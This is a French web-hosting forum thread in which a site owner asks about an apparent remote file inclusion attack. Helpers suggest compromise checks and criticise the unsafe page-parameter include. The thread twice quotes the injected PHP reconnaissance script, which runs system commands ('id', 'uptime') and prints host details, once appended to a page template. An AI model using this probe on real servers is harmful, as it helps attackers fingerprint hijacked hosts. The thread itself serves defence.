Pour $_GET et $_POST. je ne crois pas que ses fonctions sont parmis les fichiers que j'utilise

sinon j'ai vu qu'il ya le site http://www.phpsecure.info/v2/zone/pScript je vais y jeter un coup d'oeil...

Hi ,

Ce qui m'étonne , c'est qu'un fichier comme celui qu'ils essayent ( et arrivent à premiéres vues ) puissent engendrer un tel augmentation de trafic !!!

[...]

Y a t'il d'autres scripts qui on était "injectés ? "

Ce n'est peut être que la face visible du "pirate" .. est il déjà passé à l'acte ?
As tu des process inconnues qui tournent de façon étrnage ou grourmande ?
Y a t'il eu des tentatives de connexions ( nombreuses ) sur différents services ?

Quels sont les ports ouverts qui ne doivent pas l'être ?
Si tu as des doutes , as tu scanner ton serveur , à la recherche de rootkit / virus / scripts inconnues ?
Ton serveur haberge t'il aussi un sereur de mails si oui verifie les mails expédié voir s'il n'est pas compromis ?
Y a t'il des utilisateurs supplémentaires qui ne devraient pas être là ?

Bref beaucoup de questions pour voir ce qui ne va pas ... ( et une correction rapide de ton site s'impose )!

Et est ce que c'est toi qui administre ton serveur ou un hebergeur ?

echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit; 

Commencons par tes variables POST et GET. Comment tu les récupères, et comment tu les filtres ?

Parce que ça:

Code : Tout sélectionner

index.php?page=acceuil.php

C'est atroce. C'est un peu comme dire n'avoir jamais compris qu'il fallait soulever l'abattant du Wc avant de l'utiliser.

Ce n'est pas méchant du tout, c'est juste pour démontre un niveau inconsidéré (et dangereux) d'inaptitude en programmation web.

<div align="center">
<table width="915" border="0" cellpadding="0" cellspacing="0">
  <tr> 
      <td width="16%" height="20%" valign="top"> 
        <? include('menu_left.php'); ?>      </td>
      <td valign="top" height="10%" width="67%"> 
        
        <div align="center">
          <?
// Menu 1
if($page=="defaut"){ include("defaut.php");} 
elseif ($page=="lien2"){ include("menu1/lien2.php");} 
elseif ($page=="lien3"){ include("menu1/lien3.php");} 

// Page Defaut
else {include('defaut.php');} // Sinon la page defaut.php s'affiche
?></div></td>
      <td valign="top" height="20%" width="17%"> 
        <div align="right">
          <? include('menudroit.php'); ?>
        </div></td>
  </tr>
</table>

</div>

<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit;
?>